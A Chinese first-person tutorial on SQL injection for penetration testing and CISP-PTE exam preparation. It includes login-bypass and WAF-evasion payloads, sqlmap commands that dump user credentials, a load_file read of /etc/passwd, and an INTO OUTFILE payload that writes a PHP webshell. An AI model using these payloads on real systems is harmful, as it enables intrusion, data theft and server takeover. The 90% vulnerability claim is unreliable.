刚接触SQL注入时,很多人会觉得这是一项高深莫测的黑客技术。其实不然,SQL注入本质上就是通过构造特殊输入,让数据库执行我们想要的SQL语句。我在实际渗透测试中发现,90%的网站都存在不同程度的SQL注入漏洞,只是防护级别不同而已。
我们先从一个最简单的登录框开始。假设有个网站登录页面,后端代码可能是这样的:
sql复制SELECT * FROM users WHERE username='$username' AND password='$password'
如果我们输入admin'-- 作为用户名,密码随便填,实际执行的SQL就变成了:
sql复制SELECT * FROM users WHERE username='admin'-- ' AND password='123456'
--后面的内容被注释掉了,这就绕过了密码验证。我第一次用这个方法成功登录后台时,那种成就感至今难忘。不过现在大多数网站都会对这种基础注入做防护,我们需要更高级的技巧。
在靶场环境中,我习惯先用单引号'测试。如果页面返回数据库错误,基本可以确定存在SQL注入。比如在文章发布系统测试时,输入:
code复制测试' and '1'='1
测试' and '1'='2
观察两次返回结果是否不同。如果第一次正常显示,第二次不显示内容,说明存在字符型注入。
现代WAF(Web应用防火墙)会过滤很多特殊字符。有次遇到一个过滤空格的系统,我用了/**/代替空格成功绕过:
sql复制1'/**/union/**/select/**/1,2,3,4#
还有次遇到过滤union的情况,尝试双写绕过:
sql复制0'ununionion select 1,2,3,4#
最棘手的是同时过滤多种字符的情况。记得有次靶场练习,我花了3小时才构造出有效的payload:
sql复制1')-+#-+(select(0x7e))-+#-+'
这个payload利用了十六进制编码和特殊注释符,成功绕过了--、#和空格的过滤。
手工注入虽然灵活,但效率太低。在实际渗透测试中,我90%的时间都在用sqlmap。以登录框为例,操作流程如下:
bash复制sqlmap -r login.txt --level=3 --risk=2
bash复制# 获取数据库列表
sqlmap -r login.txt --dbs
# 获取指定数据库的表
sqlmap -r login.txt -D uinfo --tables
# 获取表字段
sqlmap -r login.txt -D uinfo -T users --columns
# 导出数据
sqlmap -r login.txt -D uinfo -T users -C username,password --dump
有次遇到WAF频繁拦截,我结合了这些参数才成功:
bash复制sqlmap -r login.txt --delay=1 --time-sec=5 --random-agent --tamper=space2comment
--tamper参数特别有用,内置了50多种绕过脚本。我常用的有:
space2hash:空格转#号between:用BETWEEN替换比较符chardoubleencode:双重URL编码在某个授权测试中,我通过SQL注入实现了完整入侵:
load_file()读取网站配置:sql复制union select 1,load_file('/etc/passwd'),3,4
into outfile写webshell:sql复制union select 1,"<?php system($_GET[cmd]);?>",3,4 into outfile '/var/www/html/shell.php'
现在主流的防御方法有:
但我在测试中发现,即使使用预编译,如果开发人员写法不当仍然可能被注入。比如:
java复制String sql = "SELECT * FROM users WHERE id=" + id;
PreparedStatement stmt = conn.prepareStatement(sql); // 错误用法
正确的做法应该是:
java复制PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?");
stmt.setInt(1, id);
备考CISP-PTE时,我发现这些知识点经常考:
建议多练习这些payload构造:
sql复制# 时间盲注
1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)#
# 布尔盲注
1' and length(database())=4#
# 报错注入
1' and updatexml(1,concat(0x7e,(select user())),1)#
我备考时最大的教训是太依赖工具,结果考试遇到需要手工注入的题目差点没做完。后来专门练习了两周手工注入,才顺利通过考试。建议大家平时就要工具和手工并重,真正理解原理才是关键。